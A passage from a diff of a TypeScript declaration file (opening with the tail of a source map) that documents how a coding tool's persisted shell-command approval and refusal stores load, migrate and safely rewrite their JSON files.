CAAC;IAC/E,KAAK,MAAM,MAAM,IAAI,UAAU,CAAC,OAAO;QAAE,IAAI,CAAC,MAAM,EAAE,MAAM,CAAC,CAAC;IAC9D,KAAK,MAAM,IAAI,IAAI,UAAU,CAAC,KAAK;QAAE,IAAI,CAAC,QAAQ,EAAE,IAAI,CAAC,CAAC;IAE1D,+FAA+F;IAC/F,kGAAkG;IAClG,qDAAqD;IACrD,MAAM,KAAK,GAAG,aAAa,CAAC,OAAO,CAAC,CAAC;IACrC,IAAI,KAAK,CAAC,MAAM,GAAG,CAAC,EAAE,CAAC;QACrB,IAAI,CAAC,MAAM,EAAE,oBAAoB,CAAC,CAAC;QACnC,KAAK,MAAM,IAAI,IAAI,KAAK,EAAE,CAAC;YACzB,KAAK,MAAM,IAAI,IAAI,kBAAkB,CAAC,IAAI,EAAE,EAAE,KAAK,EAAE,CAAC,CAAC,KAAK;gBAAE,IAAI,CAAC,MAAM,EAAE,IAAI,CAAC,CAAC;QACnF,CAAC;IACH,CAAC;IAED,OAAO,IAAI,CAAC;AACd,CAAC;AAED;;;;;GAKG;AACH,MAAM,CAAC,MAAM,yBAAyB,GACpC,MAAM,CAAC,MAAM,CAAC;IACZ,MAAM,EAAE,QAAQ;IAChB,IAAI,EAAE,QAAQ;IACd,IAAI,EAAE,MAAM;IACZ,MAAM,EAAE,QAAQ;IAChB,KAAK,EAAE,OAAO;IACd,MAAM,EAAE,OAAO;IACf,KAAK,EAAE,QAAQ;CAChB,CAAC,CAAC"}
@@ -163,11 +163,45 @@ export interface PersistedApprovalGrantsOptions {
163
163
  * why the runner always passes one.
164
164
  */
165
165
  onNotice?: (notice: ShellApprovalGateNotice) => void;
166
+ /**
167
+ * Whether a file holding the v1 `prefixes` array is migrated to `exact` entries. **True by
168
+ * default, and set false by the deny store** ([[EXT-107]]), for two independent reasons:
169
+ *
170
+ * - **`prefixes` was never a format on the deny side.** A deny file carrying one was hand-written
171
+ * by analogy, and turning a guess into standing refusals — with a notice worded for saved
172
+ * *approvals*, which is the only notice there is — would report a migration that did not
173
+ * describe what happened.
174
+ * - **A migration WRITES.** The deny store is read at every rung, `bypass` included, because a
175
+ * refusal is resolved before the bypass return; the allow store is not read there precisely so
176
+ * that a session with the gate switched off never rewrites the project's grant file. Leaving
177
+ * this on would give the deny store the one load path that writes.
178
+ */
179
+ legacyPrefixMigration?: boolean;
180
+ /**
181
+ * [[EXT-143]] — **what this file holds, in the noun a user reads** in a load-failure notice
182
+ * ({@link unreadableFileNotice}, {@link skippedEntriesNotice}). The allow store passes
183
+ * `'approvals'` and the deny store `'refusals'`.
184
+ *
185
+ * It is a word, not a behaviour, and that is what keeps the class list-agnostic: nothing here
186
+ * reads it, compares against it or decides by it. A store still never learns which list it is —
187
+ * the file path decides that and the runner decides which list it hands to the matcher — but a
188
+ * message that could not name what was lost would be a message the reader cannot act on, since
189
+ * the two files fail in opposite directions.
190
+ *
191
+ * Omitting it is safe: {@link savedNoun} then says something true of either file rather than
192
+ * guessing. What is NOT safe is defaulting it to one side, so it does not.
193
+ */
194
+ holds?: 'approvals' | 'refusals';
166
195
  }
167
196
  /**
168
197
  * The persisted (`always`) grant store, backed by a JSON file whose path is injected (the runner
169
- * resolves it via fileUtils → `.gsloth/.gsloth-settings/shell-allowlist.json`) so tests can point it
170
- * at a temp dir.
198
+ * resolves it via fileUtils → `.gsloth/.gsloth-settings/shell-allowlist.json` for approvals and
199
+ * `…/shell-denylist.json` for refusals) so tests can point it at a temp dir.
200
+ *
201
+ * **One class, two files.** Which list a store's entries belong to is the caller's question, not
202
+ * this class's: it holds {@link ApprovalGrant} records and writes them back. The only thing either
203
+ * side configures is {@link PersistedApprovalGrantsOptions.legacyPrefixMigration}, which the deny
204
+ * store turns off.
171
205
  *
172
206
  * ## The v1 migration, and the direction it goes
173
207
  *
@@ -185,9 +219,65 @@ export interface PersistedApprovalGrantsOptions {
185
219
  export declare class PersistedApprovalGrants {
186
220
  private readonly store;
187
221
  private readonly filePath;
222
+ private readonly onNotice;
223
+ private readonly holds;
224
+ /**
225
+ * [[EXT-144]] — **what the load found in the file**, which decides whether it may ever be
226
+ * rewritten ({@link StoreReadState}). Anything but `readable` is a file whose load failed, exactly
227
+ * the outcomes {@link unreadableFileNotice} reports, and none of them may be written over.
228
+ *
229
+ * **An entry-level loss is deliberately not one of them.** A file whose `grants` array parsed but
230
+ * held one malformed member is a file this version *can* read: the rest of it is in force, which
231
+ * {@link skippedEntriesNotice} states to the user as a promise, and blocking every future save
232
+ * over one cosmetic typo would disable a working feature to protect an entry the reader has
233
+ * already been pointed at — by position and quoted text for the first
234
+ * {@link SKIPPED_ENTRIES_NAMED}, and by a count of the rest beyond that.
235
+ */
236
+ private readonly readState;
237
+ /**
238
+ * [[EXT-151]] — the top-level keys the read found and this version does not use, written back on
239
+ * every rewrite so a save cannot delete the parts of a user's file we do not recognise.
240
+ */
241
+ private readonly preserved;
242
+ /**
243
+ * Whether the file is believed to hold what this store holds — true after a read that succeeded
244
+ * or a write that landed, false after one that was refused or threw.
245
+ *
246
+ * It exists so {@link add} can answer honestly for an entry it did not have to write: "already
247
+ * held" is only "already in the file" if the file ever received it, and on a read-only checkout it
248
+ * did not.
249
+ */
250
+ private inSync;
188
251
  constructor(filePath: string, options?: PersistedApprovalGrantsOptions);
252
+ /**
253
+ * Read the file, and **report anything it lost on the way** ([[EXT-143]]).
254
+ *
255
+ * Every outcome that drops something a human saved reaches {@link
256
+ * PersistedApprovalGrantsOptions.onNotice}: an unreadable or unparseable file, a file whose shape
257
+ * this version does not recognise — a v1 `prefixes` file on the deny side, where the migration is
258
+ * deliberately off, is one — and any individual entry the grammar rejects. **Silence is reserved
259
+ * for the outcomes that lost nothing**, of which there are three: a file that is not there, one
260
+ * that reads cleanly, and one whose entry list is absent or empty ({@link holdsSavedEntries}).
261
+ *
262
+ * The recovery is unchanged and deliberately unchanged: a failure here yields fewer grants rather
263
+ * than throwing. **What that degrades to is not the same on the two sides**, which is why the
264
+ * notice describes the loss and not an outcome — a lost `always` approval means the human is asked
265
+ * again, while a lost `always` refusal means nothing refuses, and at `bypass` the call simply runs.
266
+ */
189
267
  private static load;
190
- /** Each v1 prefix → an `exact` entry for the same string, with ONE notice naming the file. */
268
+ /**
269
+ * Each v1 prefix → an `exact` entry for the same string, with ONE notice naming the file.
270
+ *
271
+ * **A prefix this cannot migrate is REMOVED from the file, and is named** ([[EXT-151]]). A member
272
+ * that is not a string, or that normalizes to nothing, becomes no entry — and the rewrite below is
273
+ * what makes that permanent. That is a real loss on a path where nothing else reports one: the
274
+ * skipped-entries notice belongs to the v2 reader and never fires here. It is reported at
275
+ * {@link StatusLevel.ERROR} on the same filterability axis every other loss on this seam uses.
276
+ *
277
+ * **And the migration notice no longer claims that nothing was removed while removing something.**
278
+ * That sentence is kept for the case where it is true — which is the ordinary case, and where the
279
+ * reassurance is worth having — and dropped where a member went.
280
+ */
191
281
  private static migrateFromV1;
192
282
  /** Every grant. */
193
283
  list(): ApprovalGrant[];
@@ -195,22 +285,88 @@ export declare class PersistedApprovalGrants {
195
285
  entries(): ApprovalEntry[];
196
286
  /** How many grants are persisted. */
197
287
  size(): number;
198
- /** Add a grant and persist the whole store. A duplicate entry rewrites nothing. */
199
- add(grant: ApprovalGrant): void;
288
+ /**
289
+ * [[EXT-144]] — **may this store write its file at all?** False when the load failed, in which
290
+ * case every write is refused.
291
+ *
292
+ * Public because the caller has to know *before* it builds the record it is about to hand over:
293
+ * a grant is stamped with the scope it actually got, the runner's in-memory stores can hold the
294
+ * very object they are passed, and a scope corrected after the fact would be corrected inside
295
+ * somebody else's store. Asking first is what lets an answer that cannot be written down be
296
+ * recorded as the session-only thing it is.
297
+ *
298
+ * **It answers about the FILE being readable, never about a write succeeding.** A store whose
299
+ * path cannot be written — a read-only checkout — still answers true here, because nothing was
300
+ * lost by reading it and the next write may well land.
301
+ */
302
+ canPersist(): boolean;
303
+ /**
304
+ * Add a grant and persist the whole store. A duplicate entry rewrites nothing.
305
+ *
306
+ * **Returns whether the grant is now recorded in the file** ([[EXT-144]]), which is not the same
307
+ * question as whether it is in force — it is in force either way, held here and in the runner's
308
+ * session store. `false` says only that a restart will not find it.
309
+ */
310
+ add(grant: ApprovalGrant): boolean;
200
311
  /** The grant held under this entry's identity, or `undefined`. */
201
312
  find(entry: ApprovalEntry): ApprovalGrant | undefined;
202
313
  /**
203
- * Drop the grant held under this entry's identity and rewrite the file. Returns whether one was
204
- * there.
314
+ * Drop the grant held under this entry's identity and rewrite the file.
315
+ *
316
+ * **Returns whether the deletion reached the FILE** ([[EXT-149]]) — the mirror of what {@link add}
317
+ * answers, and not the same question as whether the entry is still in force here. The in-memory
318
+ * removal happens either way and is what lifts the entry for this session; `false` says only that
319
+ * a restart will find it again. It used to return `true` after a write that threw, which is how
320
+ * the `/approvals` lift came to report a deletion that had not happened.
321
+ *
322
+ * `false` is also the answer when there was no such grant. The two are distinguishable with
323
+ * {@link find} beforehand, and the caller that reports to a user has already established the entry
324
+ * was there — it is offering to lift something it just listed.
205
325
  *
206
326
  * The write is what makes §4.7.4's invalidation a one-time event: a removal held only in memory
207
327
  * would be undone by the next session reloading the same stale snapshot, so the user would be
208
328
  * told their grant had been withdrawn once per session, forever.
329
+ *
330
+ * **The [[EXT-144]] refusal cannot strand a removal half-done, and by construction rather than by
331
+ * a check here:** a store that could not read its file is empty — the load recovered nothing, and
332
+ * {@link add} takes back what it could not write — so there is never a grant to remove, and this
333
+ * returns before reaching the write. If that invariant is ever broken, restore it rather than
334
+ * teaching this method to unwind.
209
335
  */
210
336
  remove(entry: ApprovalEntry): boolean;
211
337
  /**
212
- * Write the file. Never throws: the grants are already in force for this session, and a
213
- * read-only checkout must not end a run over a bookkeeping write.
338
+ * Write the file, and **report whether the write landed**. Never throws: the grants are already
339
+ * in force for this session, and a read-only checkout must not end a run over a bookkeeping
340
+ * write.
341
+ *
342
+ * **Never throws is not never says.** [[EXT-149]] — a swallowed throw left the surfaces that had
343
+ * already promised the user something as the last word on a file that never changed, so a failed
344
+ * write is reported ({@link failedWriteNotice}) in the words of whichever {@link WritePurpose}
345
+ * asked for it.
346
+ *
347
+ * ## [[EXT-144]] — it refuses to write over a file it could not read
348
+ *
349
+ * This is a WHOLE-FILE rewrite from what the store holds, and a store whose load failed holds
350
+ * nothing. So without this guard one saved answer replaces every entry in the file with itself:
351
+ * a trailing comma — the characteristic failure of a file people hand-edit and commit — becomes
352
+ * unrecoverable loss at the next prompt, with no backup and nothing on disk to go back to.
353
+ *
354
+ * **The deny side is why it refuses rather than saving a copy first.** A user whose refusals have
355
+ * silently stopped applying reaches for *always reject*, and that keystroke is what would make the
356
+ * loss permanent. Refusing leaves the file exactly as they left it: fix the comma and all of it
357
+ * comes back, with nothing to reconcile and nothing needing to have been copied in advance.
358
+ *
359
+ * **A sibling `.corrupt` copy was the alternative, and it is worse in this system**, because it
360
+ * would leave the user holding a merge they cannot perform — the live file with the one entry they
361
+ * just answered, a copy beside it with the twenty they had, and no tool to combine them. It would
362
+ * also write a second file into a directory people commit, and it would make the file parse again,
363
+ * so the load-time error that is the user's only signal would go quiet while nineteen refusals
364
+ * stayed out of force. And its guarantee is conditional on a write that can itself fail, which is
365
+ * the same read-only checkout this method already has to survive.
366
+ *
367
+ * The cost is a re-prompt and nothing else, which is the direction every ambiguity in this design
368
+ * resolves — and it is the same degradation the load side already makes ([[EXT-107]]: a store that
369
+ * cannot be read means `always` becomes `session`), now applied consistently to the write.
214
370
  */
215
371
  private tryPersist;
216
372
  }